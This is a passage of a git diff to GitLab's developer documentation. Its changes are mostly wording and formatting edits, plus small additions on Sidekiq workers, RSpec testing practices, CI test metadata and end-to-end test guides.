be behind a generic feature flag. +After the measurement module is injected in the service, it is behind a generic feature flag. To actually use it, you need to enable measuring for the desired service by enabling the feature flag. ### Enabling measurement using feature flags diff --git a/doc/development/session.md b/doc/development/session.md index a7f69f570c3..bee857da323 100644 --- a/doc/development/session.md +++ b/doc/development/session.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Accessing session data diff --git a/doc/development/sha1_as_binary.md b/doc/development/sha1_as_binary.md index e69ba149cde..a7bb3001ddb 100644 --- a/doc/development/sha1_as_binary.md +++ b/doc/development/sha1_as_binary.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Storing SHA1 Hashes As Binary diff --git a/doc/development/shared_files.md b/doc/development/shared_files.md index 2c6b1222cfb..859650c2e6c 100644 --- a/doc/development/shared_files.md +++ b/doc/development/shared_files.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Shared files @@ -12,7 +12,7 @@ etc. Having so many shared directories makes it difficult to deploy GitLab on shared storage (e.g. NFS). Working towards GitLab 9.0 we are consolidating these different directories under the `shared` directory. -This means that if GitLab will start storing puppies in some future version +This means that if GitLab begins storing puppies in some future version then we should put them in `shared/puppies`. Temporary puppy files should be stored in `shared/tmp`. diff --git a/doc/development/shell_commands.md b/doc/development/shell_commands.md index 25113b4ac29..db72454b482 100644 --- a/doc/development/shell_commands.md +++ b/doc/development/shell_commands.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Guidelines for shell commands in the GitLab codebase @@ -53,7 +53,7 @@ system(*%W(#{Gitlab.config.git.bin_path} branch -d -- #{branch_name})) ## Bypass the shell by splitting commands into separate tokens -When we pass shell commands as a single string to Ruby, Ruby will let `/bin/sh` evaluate the entire string. Essentially, we are asking the shell to evaluate a one-line script. This creates a risk for shell injection attacks. It is better to split the shell command into tokens ourselves. Sometimes we use the scripting capabilities of the shell to change the working directory or set environment variables. All of this can also be achieved securely straight from Ruby +When we pass shell commands as a single string to Ruby, Ruby lets `/bin/sh` evaluate the entire string. Essentially, we are asking the shell to evaluate a one-line script. This creates a risk for shell injection attacks. It is better to split the shell command into tokens ourselves. Sometimes we use the scripting capabilities of the shell to change the working directory or set environment variables. All of this can also be achieved securely straight from Ruby ```ruby # Wrong diff --git a/doc/development/shell_scripting_guide/index.md b/doc/development/shell_scripting_guide/index.md index f447a0e0e72..6071ae3a09d 100644 --- a/doc/development/shell_scripting_guide/index.md +++ b/doc/development/shell_scripting_guide/index.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Shell scripting standards and style guidelines @@ -21,7 +21,7 @@ deviations from this guide, they should be described in the ## Avoid using shell scripts -CAUTION: **Caution:** +WARNING: This is a must-read section. Having said all of the above, we recommend staying away from shell scripts @@ -72,8 +72,8 @@ shell check: - shellcheck scripts/**/*.sh # path to your shell scripts ``` -TIP: **Tip:** -By default, ShellCheck will use the [shell detection](https://github.com/koalaman/shellcheck/wiki/SC2148#rationale) +NOTE: +By default, ShellCheck uses the [shell detection](https://github.com/koalaman/shellcheck/wiki/SC2148#rationale) to determine the shell dialect in use. If the shell file is out of your control and ShellCheck cannot detect the dialect, use `-s` flag to specify it: `-s sh` or `-s bash`. @@ -92,7 +92,7 @@ use this job: ```yaml shfmt: - image: mvdan/shfmt:v3.1.0-alpine + image: mvdan/shfmt:v3.2.0-alpine stage: test before_script: - shfmt -version @@ -100,14 +100,14 @@ shfmt: - shfmt -i 2 -ci -d scripts # path to your shell scripts ``` -TIP: **Tip:** -By default, shfmt will use the [shell detection](https://github.com/mvdan/sh#shfmt) similar to one of ShellCheck +NOTE: +By default, shfmt uses the [shell detection](https://github.com/mvdan/sh#shfmt) similar to one of ShellCheck and ignore files starting with a period. To override this, use `-ln` flag to specify the shell dialect: `-ln posix` or `-ln bash`. ## Testing -NOTE: **Note:** +NOTE: This is a work in progress. It is an [ongoing effort](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/64016) to evaluate different tools for the diff --git a/doc/development/sidekiq_debugging.md b/doc/development/sidekiq_debugging.md index e0f74b39c9a..a9b6e246861 100644 --- a/doc/development/sidekiq_debugging.md +++ b/doc/development/sidekiq_debugging.md @@ -3,3 +3,6 @@ redirect_to: '../administration/troubleshooting/sidekiq.md' --- This document was moved to [another location](../administration/troubleshooting/sidekiq.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/development/sidekiq_style_guide.md b/doc/development/sidekiq_style_guide.md index 13ae39997bc..e4f07f732cf 100644 --- a/doc/development/sidekiq_style_guide.md +++ b/doc/development/sidekiq_style_guide.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Sidekiq Style Guide @@ -27,7 +27,7 @@ After adding a new queue, run `bin/rake gitlab:sidekiq:all_queues_yml:generate` to regenerate `app/workers/all_queues.yml` or `ee/app/workers/all_queues.yml` so that it can be picked up by -[`sidekiq-cluster`](../administration/operations/extra_sidekiq_processes.md). +[`sidekiq-cluster`](../administration/operations/extra_sidekiq_processes.md). Additionally, run `bin/rake gitlab:sidekiq:sidekiq_queues_yml:generate` to regenerate `config/sidekiq_queues.yml`. @@ -42,8 +42,8 @@ without needing to explicitly list all their queue names. If, for example, all workers that are managed by `sidekiq-cron` use the `cronjob` queue namespace, we can spin up a Sidekiq process specifically for these kinds of scheduled jobs. If a new worker using the `cronjob` namespace is added later on, the Sidekiq -process will automatically pick up jobs for that worker too (after having been -restarted), without the need to change any configuration. +process also picks up jobs for that worker (after having been restarted), +without the need to change any configuration. A queue namespace can be set using the `queue_namespace` DSL class method: @@ -57,19 +57,19 @@ class SomeScheduledTaskWorker end ``` -Behind the scenes, this will set `SomeScheduledTaskWorker.queue` to -`cronjob:some_scheduled_task`. Commonly used namespaces will have their own +Behind the scenes, this sets `SomeScheduledTaskWorker.queue` to +`cronjob:some_scheduled_task`. Commonly used namespaces have their own concern module that can easily be included into the worker class, and that may set other Sidekiq options besides the queue namespace. `CronjobQueue`, for example, sets the namespace, but also disables retries. -`bundle exec sidekiq` is namespace-aware, and will automatically listen on all +`bundle exec sidekiq` is namespace-aware, and listens on all queues in a namespace (technically: all queues prefixed with the namespace name) when a namespace is provided instead of a simple queue name in the `--queue` (`-q`) option, or in the `:queues:` section in `config/sidekiq_queues.yml`. Note that adding a worker to an existing namespace should be done with care, as -the extra jobs will take resources away from jobs from workers that were already +the extra jobs take resources away from jobs from workers that were already there, if the resources available to the Sidekiq process handling the namespace are not adjusted appropriately. @@ -121,9 +121,8 @@ As a general rule, a worker can be considered idempotent if: A good example of that would be a cache expiration worker. -A job scheduled for an idempotent worker will automatically be -[deduplicated](#deduplication) when an unstarted job with the same -arguments is already in the queue. +A job scheduled for an idempotent worker is [deduplicated](#deduplication) when +an unstarted job with the same arguments is already in the queue. ### Ensuring a worker is idempotent @@ -160,9 +159,8 @@ end It's encouraged to only have the `idempotent!` call in the top-most worker class, even if the `perform` method is defined in another class or module. -If the worker class is not marked as idempotent, a cop will fail. -Consider skipping the cop if you're not confident your job can safely -run multiple times. +If the worker class isn't marked as idempotent, a cop fails. Consider skipping +the cop if you're not confident your job can safely run multiple times. ### Deduplication @@ -230,7 +228,7 @@ end #### Scheduling jobs in the future GitLab doesn't skip jobs scheduled in the future, as we assume that -the state will have changed by the time the job is scheduled to +the state has changed by the time the job is scheduled to execute. Deduplication of jobs scheduled in the feature is possible for both `until_executed` and `until_executing` strategies. @@ -251,26 +249,6 @@ module AuthorizedProjectUpdate end ``` -#### Troubleshooting - -If the automatic deduplication were to cause issues in certain -queues. This can be temporarily disabled by enabling a feature flag -named `disable_<queue name>_deduplication`. For example to disable -deduplication for the `AuthorizedProjectsWorker`, we would enable the -feature flag `disable_authorized_projects_deduplication`. - -From ChatOps: - -```shell -/chatops run feature set disable_authorized_projects_deduplication true -``` - -From the rails console: - -```ruby -Feature.enable!(:disable_authorized_projects_deduplication) -``` - ## Limited capacity worker It is possible to limit the number of concurrent running jobs for a worker class @@ -278,10 +256,10 @@ by using the `LimitedCapacity::Worker` concern. The worker must implement three methods: -- `perform_work` - the concern implements the usual `perform` method and calls -`perform_work` if there is any capacity available. -- `remaining_work_count` - number of jobs that will have work to perform. -- `max_running_jobs` - maximum number of jobs allowed to run concurrently. +- `perform_work`: The concern implements the usual `perform` method and calls + `perform_work` if there's any available capacity. +- `remaining_work_count`: Number of jobs that have work to perform. +- `max_running_jobs`: Maximum number of jobs allowed to run concurrently. ```ruby class MyDummyWorker @@ -303,7 +281,7 @@ end Additional to the regular worker, a cron worker must be defined as well to backfill the queue with jobs. the arguments passed to `perform_with_capacity` -will be passed along to the `perform_work` method. +are passed to the `perform_work` method. ```ruby class ScheduleMyDummyCronWorker @@ -318,10 +296,10 @@ end ### How many jobs are running? -It will be running `max_running_jobs` at almost all times. +It runs `max_running_jobs` at almost all times. -The cron worker will check the remaining capacity on each execution and it -will schedule at most `max_running_jobs` jobs. Those jobs on completion will +The cron worker checks the remaining capacity on each execution and it +schedules at most `max_running_jobs` jobs. Those jobs on completion re-enqueue themselves immediately, but not on failure. The cron worker is in charge of replacing those failed jobs. @@ -329,11 +307,11 @@ charge of replacing those failed jobs. This concern disables Sidekiq retries, logs the errors, and sends the job to the dead queue. This is done to have only one source that produces jobs and because -the retry would occupy a slot with a job that will be performed in the distant future. +the retry would occupy a slot with a job to perform in the distant future. We let the cron worker enqueue new jobs, this could be seen as our retry and back off mechanism because the job might fail again if executed immediately. -This means that for every failed job, we will be running at a lower capacity +This means that for every failed job, we run at a lower capacity until the cron worker fills the capacity again. If it is important for the worker not to get a backlog, exceptions must be handled in `#perform_work` and the job should not raise. @@ -416,7 +394,7 @@ each of which represents a particular type of workload. When changing a queue's urgency, or adding a new queue, we need to take into account the expected workload on the new shard. Note that, if we're changing an existing queue, there is also an effect on the old shard, -but that will always be a reduction in work. +but that always reduces work. To do this, we want to calculate the expected increase in total execution time and RPS (throughput) for the new shard. We can get these values from: @@ -429,7 +407,7 @@ and RPS (throughput) for the new shard. We can get these values from: - The [Shard Detail dashboard](https://dashboards.gitlab.net/d/sidekiq-shard-detail/sidekiq-shard-detail) has Total Execution Time and Throughput (RPS). The Shard Utilization - panel will show if there is currently any excess capacity for this + panel displays if there is currently any excess capacity for this shard. We can then calculate the RPS * average runtime (estimated for new jobs) @@ -454,7 +432,7 @@ Most background jobs in the GitLab application communicate with other GitLab services. For example, PostgreSQL, Redis, Gitaly, and Object Storage. These are considered to be "internal" dependencies for a job. -However, some jobs will be dependent on external services in order to complete +However, some jobs are dependent on external services in order to complete successfully. Some examples include: 1. Jobs which call web-hooks configured by a user. @@ -492,7 +470,7 @@ A job cannot be both high urgency and have external dependencies. Workers that are constrained by CPU or memory resource limitations should be annotated with the `worker_resource_boundary` method. -Most workers tend to spend most of their time blocked, wait on network responses +Most workers tend to spend most of their time blocked, waiting on network responses from other services such as Redis, PostgreSQL, and Gitaly. Since Sidekiq is a multi-threaded environment, these jobs can be scheduled with high concurrency. @@ -505,8 +483,8 @@ hosting the process has. For IO bound workers, this is not a problem, since most of the threads are blocked in underlying libraries (which are outside of the GIL). -If many threads are attempting to run Ruby code simultaneously, this will lead -to contention on the GIL which will have the affect of slowing down all +If many threads are attempting to run Ruby code simultaneously, this leads +to contention on the GIL which has the effect of slowing down all processes. In high-traffic environments, knowing that a worker is CPU-bound allows us to @@ -517,9 +495,9 @@ Likewise, if a worker uses large amounts of memory, we can run these on a bespoke low concurrency, high memory fleet. Note that memory-bound workers create heavy GC workloads, with pauses of -10-50ms. This will have an impact on the latency requirements for the +10-50ms. This has an impact on the latency requirements for the worker. For this reason, `memory` bound, `urgency :high` jobs are not -permitted and will fail CI. In general, `memory` bound workers are +permitted and fail CI. In general, `memory` bound workers are discouraged, and alternative approaches to processing the work should be considered. @@ -583,12 +561,11 @@ default weight, which is 1. To have some more information about workers in the logs, we add [metadata to the jobs in the form of an `ApplicationContext`](logging.md#logging-context-metadata-through-rails-or-grape-requests). -In most cases, when scheduling a job from a request, this context will -already be deducted from the request and added to the scheduled -job. +In most cases, when scheduling a job from a request, this context is already +deducted from the request and added to the scheduled job. When a job runs, the context that was active when it was scheduled -will be restored. This causes the context to be propagated to any job +is restored. This causes the context to be propagated to any job scheduled from within the running job. All this means that in most cases, to add context to jobs, we don't @@ -603,7 +580,7 @@ As with most our cops, there are perfectly valid reasons for disabling them. In this case it could be that the context from the request is correct. Or maybe you've specified a context already in a way that isn't picked up by the cops. In any case, leave a code comment -pointing to which context will be used when disabling the cops. +pointing to which context to use when disabling the cops. When you do provide objects to the context, make sure that the route for namespaces and projects is pre-loaded. This can be done by using @@ -699,7 +676,7 @@ blocks: ## Arguments logging -As of GitLab 13.6, Sidekiq job arguments will be logged by default, unless [`SIDEKIQ_LOG_ARGUMENTS`](../administration/troubleshooting/sidekiq.md#log-arguments-to-sidekiq-jobs) +As of GitLab 13.6, Sidekiq job arguments are logged by default, unless [`SIDEKIQ_LOG_ARGUMENTS`](../administration/troubleshooting/sidekiq.md#log-arguments-to-sidekiq-jobs) is disabled. By default, the only arguments logged are numeric arguments, because @@ -820,7 +797,7 @@ This approach requires multiple releases. ##### Parameter hash -This approach will not require multiple releases if an existing worker already +This approach doesn't require multiple releases if an existing worker already uses a parameter hash. 1. Use a parameter hash in the worker to allow future flexibility. diff --git a/doc/development/single_table_inheritance.md b/doc/development/single_table_inheritance.md index 51268092225..6b35d9f71da 100644 --- a/doc/development/single_table_inheritance.md +++ b/doc/development/single_table_inheritance.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Single Table Inheritance diff --git a/doc/development/sql.md b/doc/development/sql.md index bf405eab688..f68ca44efa8 100644 --- a/doc/development/sql.md +++ b/doc/development/sql.md @@ -1,7 +1,7 @@ --- stage: Enablement group: Database -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # SQL Query Guidelines diff --git a/doc/development/swapping_tables.md b/doc/development/swapping_tables.md index f633721ea9d..cb038a3b85a 100644 --- a/doc/development/swapping_tables.md +++ b/doc/development/swapping_tables.md @@ -1,7 +1,7 @@ --- stage: Enablement group: Database -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Swapping Tables diff --git a/doc/development/telemetry/event_dictionary.md b/doc/development/telemetry/event_dictionary.md index 53b7ddea095..bc230a46441 100644 --- a/doc/development/telemetry/event_dictionary.md +++ b/doc/development/telemetry/event_dictionary.md @@ -3,3 +3,6 @@ redirect_to: '../product_analytics/event_dictionary.md' --- This document was moved to [another location](../product_analytics/event_dictionary.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/development/telemetry/index.md b/doc/development/telemetry/index.md index 79ea80a52ea..24e83ffc524 100644 --- a/doc/development/telemetry/index.md +++ b/doc/development/telemetry/index.md @@ -3,3 +3,6 @@ redirect_to: '../product_analytics/index.md' --- This document was moved to [another location](../product_analytics/index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/development/telemetry/snowplow.md b/doc/development/telemetry/snowplow.md index fd75d29286b..7cd385be681 100644 --- a/doc/development/telemetry/snowplow.md +++ b/doc/development/telemetry/snowplow.md @@ -3,3 +3,6 @@ redirect_to: '../product_analytics/snowplow.md' --- This document was moved to [another location](../product_analytics/snowplow.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/development/telemetry/usage_ping.md b/doc/development/telemetry/usage_ping.md index 1026e7a5a66..c890353fe3b 100644 --- a/doc/development/telemetry/usage_ping.md +++ b/doc/development/telemetry/usage_ping.md @@ -3,3 +3,6 @@ redirect_to: '../product_analytics/usage_ping.md' --- This document was moved to [another location](../product_analytics/usage_ping.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/development/testing.md b/doc/development/testing.md index 79ef8e75432..a0130bfb4ac 100644 --- a/doc/development/testing.md +++ b/doc/development/testing.md @@ -3,3 +3,6 @@ redirect_to: 'testing_guide/index.md' --- This document was moved to [another location](testing_guide/index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/development/testing_guide/best_practices.md b/doc/development/testing_guide/best_practices.md index dabb18c1f75..d1b7883451f 100644 --- a/doc/development/testing_guide/best_practices.md +++ b/doc/development/testing_guide/best_practices.md @@ -50,6 +50,22 @@ bundle exec guard When using spring and guard together, use `SPRING=1 bundle exec guard` instead to make use of spring. +### Ruby warnings + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/47767) in GitLab 13.7. + +We've enabled [deprecation warnings](https://ruby-doc.org/core-2.7.2/Warning.html) +by default when running specs. Making these warnings more visible to developers +helps upgrading to newer Ruby versions. + +You can silence deprecation warnings by setting the environment variable +`SILENCE_DEPRECATIONS`, for example: + +```shell +# silence all deprecation warnings +SILENCE_DEPRECATIONS=1 bin/rspec spec/models/project_spec.rb +``` + ### Test speed GitLab has a massive test suite that, without [parallelization](ci.md#test-suite-parallelization-on-the-ci), can take hours @@ -311,7 +327,7 @@ Use the coverage reports to ensure your tests cover 100% of your code. ### System / Feature tests -NOTE: **Note:** +NOTE: Before writing a new system test, [please consider **not** writing one](testing_levels.md#consider-not-writing-a-system-test)! @@ -432,7 +448,7 @@ instead of 30+ seconds in case of a regular `spec_helper`. ### `subject` and `let` variables -GitLab's RSpec suite has made extensive use of `let`(along with its strict, non-lazy +The GitLab RSpec suite has made extensive use of `let`(along with its strict, non-lazy version `let!`) variables to reduce duplication. However, this sometimes [comes at the cost of clarity](https://thoughtbot.com/blog/lets-not), so we need to set some guidelines for their use going forward: @@ -603,6 +619,32 @@ it "really connects to Prometheus", :permit_dns do And if you need more specific control, the DNS blocking is implemented in `spec/support/helpers/dns_helpers.rb` and these methods can be called elsewhere. +#### Stubbing File methods + +In the situations where you need to +[stub](https://relishapp.com/rspec/rspec-mocks/v/3-9/docs/basics/allowing-messages) +methods such as `File.read`, make sure to: + +1. Stub `File.read` for only the filepath you are interested in. +1. Call the original implementation for other filepaths. + +Otherwise `File.read` calls from other parts of the codebase get +stubbed incorrectly. You should use the `stub_file_read`, and +`expect_file_read` helper methods which does the stubbing for +`File.read` correctly. + +```ruby +# bad, all Files will read and return nothing +allow(File).to receive(:read) + +# good +stub_file_read(my_filepath) + +# also OK +allow(File).to receive(:read).and_call_original +allow(File).to receive(:read).with(my_filepath) +``` + #### Filesystem Filesystem data can be roughly split into "repositories", and "everything else". @@ -678,7 +720,7 @@ at all possible. #### Test Snowplow events -CAUTION: **Warning:** +WARNING: Snowplow performs **runtime type checks** by using the [contracts gem](https://rubygems.org/gems/contracts). Since Snowplow is **by default disabled in tests and development**, it can be hard to **catch exceptions** when mocking `Gitlab::Tracking`. @@ -750,7 +792,7 @@ describe "#==" do end ``` -CAUTION: **Caution:** +WARNING: Only use simple values as input in the `where` block. Using procs, stateful objects, FactoryBot-created objects etc. can lead to [unexpected results](https://github.com/tomykaira/rspec-parameterized/issues/8). diff --git a/doc/development/testing_guide/ci.md b/doc/development/testing_guide/ci.md index 618f9010b4d..7318f767219 100644 --- a/doc/development/testing_guide/ci.md +++ b/doc/development/testing_guide/ci.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # GitLab tests in the Continuous Integration (CI) context @@ -12,8 +12,8 @@ Our current CI parallelization setup is as follows: 1. The `retrieve-tests-metadata` job in the `prepare` stage ensures we have a `knapsack/report-master.json` file: - - The `knapsack/report-master.json` file is fetched from S3, if it's not here - we initialize the file with `{}`. + - The `knapsack/report-master.json` file is fetched from the latest `master` pipeline which runs `update-tests-metadata` + (for now it's the 2-hourly scheduled master pipeline), if it's not here we initialize the file with `{}`. 1. Each `[rspec|rspec-ee] [unit|integration|system|geo] n m` job are run with `knapsack rspec` and should have an evenly distributed share of tests: - It works because the jobs have access to the `knapsack/report-master.json` @@ -25,9 +25,9 @@ Our current CI parallelization setup is as follows: 1. The `update-tests-metadata` job (which only runs on scheduled pipelines for [the canonical project](https://gitlab.com/gitlab-org/gitlab) takes all the `knapsack/rspec*_pg_*.json` files and merge them all together into a single - `knapsack/report-master.json` file that is then uploaded to S3. + `knapsack/report-master.json` file that is saved as artifact. -After that, the next pipeline will use the up-to-date `knapsack/report-master.json` file. +After that, the next pipeline uses the up-to-date `knapsack/report-master.json` file. ## Monitoring diff --git a/doc/development/testing_guide/end_to_end/beginners_guide.md b/doc/development/testing_guide/end_to_end/beginners_guide.md index ef0bd9902e1..d60b780eeea 100644 --- a/doc/development/testing_guide/end_to_end/beginners_guide.md +++ b/doc/development/testing_guide/end_to_end/beginners_guide.md @@ -1,20 +1,20 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Beginner's guide to writing end-to-end tests -In this tutorial, you will learn about the creation of end-to-end (_e2e_) tests +This tutorial walks you through the creation of end-to-end (_e2e_) tests for [GitLab Community Edition](https://about.gitlab.com/install/?version=ce) and [GitLab Enterprise Edition](https://about.gitlab.com/install/). -By the end of this tutorial, you will be able to: +By the end of this tutorial, you can: - Determine whether an end-to-end test is needed. - Understand the directory structure within `qa/`. -- Write a basic end-to-end test that will validate login features. +- Write a basic end-to-end test that validates login features. - Develop any missing [page object](page_objects.md) libraries. ## Before you write a test @@ -29,7 +29,7 @@ must be configured to run the specs. The end-to-end tests: - Create [resources](resources.md) (such as project, issue, user) on an ad-hoc basis. - Test the UI and API interfaces, and use the API to efficiently set up the UI tests. -TIP: **Tip:** +NOTE: For more information, see [End-to-end testing Best Practices](best_practices.md). ## Determine if end-to-end tests are needed @@ -52,7 +52,7 @@ For information about the distribution of tests per level in GitLab, see - Finally, discuss the proposed test with the developer(s) involved in implementing the feature and the lower-level tests. -CAUTION: **Caution:** +WARNING: Check both [GitLab Community Edition](https://gitlab-org.gitlab.io/gitlab-foss/coverage-ruby/#_AllFiles) and [GitLab Enterprise Edition](https://gitlab-org.gitlab.io/gitlab/coverage-ruby/#_AllFiles) coverage projects for previously-written tests for this feature. For analyzing the code coverage, @@ -67,18 +67,18 @@ end-to-end flows, and is easiest to understand. The GitLab QA end-to-end tests are organized by the different [stages in the DevOps lifecycle](https://gitlab.com/gitlab-org/gitlab-foss/tree/master/qa/qa/specs/features/browser_ui). Determine where the test should be placed by -[stage](https://about.gitlab.com/handbook/product/product-categories/#devops-stages), -determine which feature the test will belong to, and then place it in a subdirectory +[stage](https://about.gitlab.com/handbook/product/categories/#devops-stages), +determine which feature the test belongs to, and then place it in a subdirectory under the stage.  -If the test is Enterprise Edition only, the test will be created in the `features/ee` +If the test is Enterprise Edition only, the test is created in the `features/ee` directory, but follow the same DevOps lifecycle format. ## Create a skeleton test -In the first part of this tutorial we will be testing login, which is owned by the +In the first part of this tutorial we are testing login, which is owned by the Manage stage. Inside `qa/specs/features/browser_ui/1_manage/login`, create a file `basic_login_spec.rb`. @@ -86,7 +86,7 @@ file `basic_login_spec.rb`. See the [`RSpec.describe` outer block](#the-outer-rspecdescribe-block) -CAUTION: **Deprecation notice:** +WARNING: The outer `context` [was deprecated](https://gitlab.com/gitlab-org/quality/team-tasks/-/issues/550) in `13.2` in adherence to RSpec 4.0 specifications. Use `RSpec.describe` instead. @@ -286,12 +286,12 @@ end Note the following important points: -- At the start of our example, we will be at the `page/issue/show.rb` [page](page_objects.md). +- At the start of our example, we are at the `page/issue/show.rb` [page](page_objects.md). - Our test fabricates only what it needs, when it needs it. - The issue is fabricated through the API to save time. - GitLab prefers `let()` over instance variables. See [best practices](../best_practices.md#subject-and-let-variables). -- `be_closed` is not implemented in `page/project/issue/show.rb` yet, but will be +- `be_closed` is not implemented in `page/project/issue/show.rb` yet, but is implemented in the next step. The issue is fabricated as a [Resource](resources.md), which is a GitLab entity @@ -349,3 +349,9 @@ Where `<test_file>` is: - `qa/specs/features/browser_ui/1_manage/login/login_spec.rb` when running the Login example. - `qa/specs/features/browser_ui/2_plan/issues/issue_spec.rb` when running the Issue example. + +## End-to-end test merge request template + +When submitting a new end-to-end test, use the ["New End to End Test"](https://gitlab.com/gitlab-org/gitlab/-/blob/master/.gitlab/merge_request_templates/New%20End%20To%20End%20Test.md) +merge request description template for additional +steps that are required prior a successful merge. diff --git a/doc/development/testing_guide/end_to_end/best_practices.md b/doc/development/testing_guide/end_to_end/best_practices.md index 4d12a0f79cb..b761e33367f 100644 --- a/doc/development/testing_guide/end_to_end/best_practices.md +++ b/doc/development/testing_guide/end_to_end/best_practices.md @@ -1,7 +1,7 @@ --- stage: none group: Development -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # End-to-end testing Best Practices @@ -278,10 +278,10 @@ In line with [using the API](#prefer-api-over-ui), use a `Commit` resource whene ```ruby # Using a commit resource -Resource::Commit.fabricate_via_api! do |commit| +Resource::Repository::Commit.fabricate_via_api! do |commit| commit.commit_message = 'Initial commit' commit.add_files([ - {file_path: 'README.md', content: 'Hello, GitLab'} + { file_path: 'README.md', content: 'Hello, GitLab' } ]) end @@ -372,8 +372,10 @@ end [See this merge request for a real example of adding a custom matcher](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/46302). -NOTE: **Note:** -We need to create custom negatable matchers only for the predicate methods we've added to the test framework, and only if we're using `not_to`. If we use `to have_no_*` a negatable matcher is not necessary. +We are creating custom negatable matchers in `qa/spec/support/matchers`. + +NOTE: +We need to create custom negatable matchers only for the predicate methods we've added to the test framework, and only if we're using `not_to`. If we use `to have_no_*` a negatable matcher is not necessary but it increases code readability. ### Why we need negatable matchers diff --git a/doc/development/testing_guide/end_to_end/dynamic_element_validation.md b/doc/development/testing_guide/end_to_end/dynamic_element_validation.md index 871b3f80c18..1e7f528f6ff 100644 --- a/doc/development/testing_guide/end_to_end/dynamic_element_validation.md +++ b/doc/development/testing_guide/end_to_end/dynamic_element_validation.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Dynamic Element Validation @@ -23,7 +23,7 @@ We interpret user actions on the page to have some sort of effect. These actions ### Navigation -When a page is navigated to, there are elements that will always appear on the page unconditionally. +When a page is navigated to, there are elements that always appear on the page unconditionally. Dynamic element validation is instituted when using @@ -100,7 +100,7 @@ Runtime::Browser.visit(:gitlab, Page::MyPage) execute_stuff ``` -will invoke GitLab QA to scan `MyPage` for `my_element` and `another_element` to be on the page before continuing to +invokes GitLab QA to scan 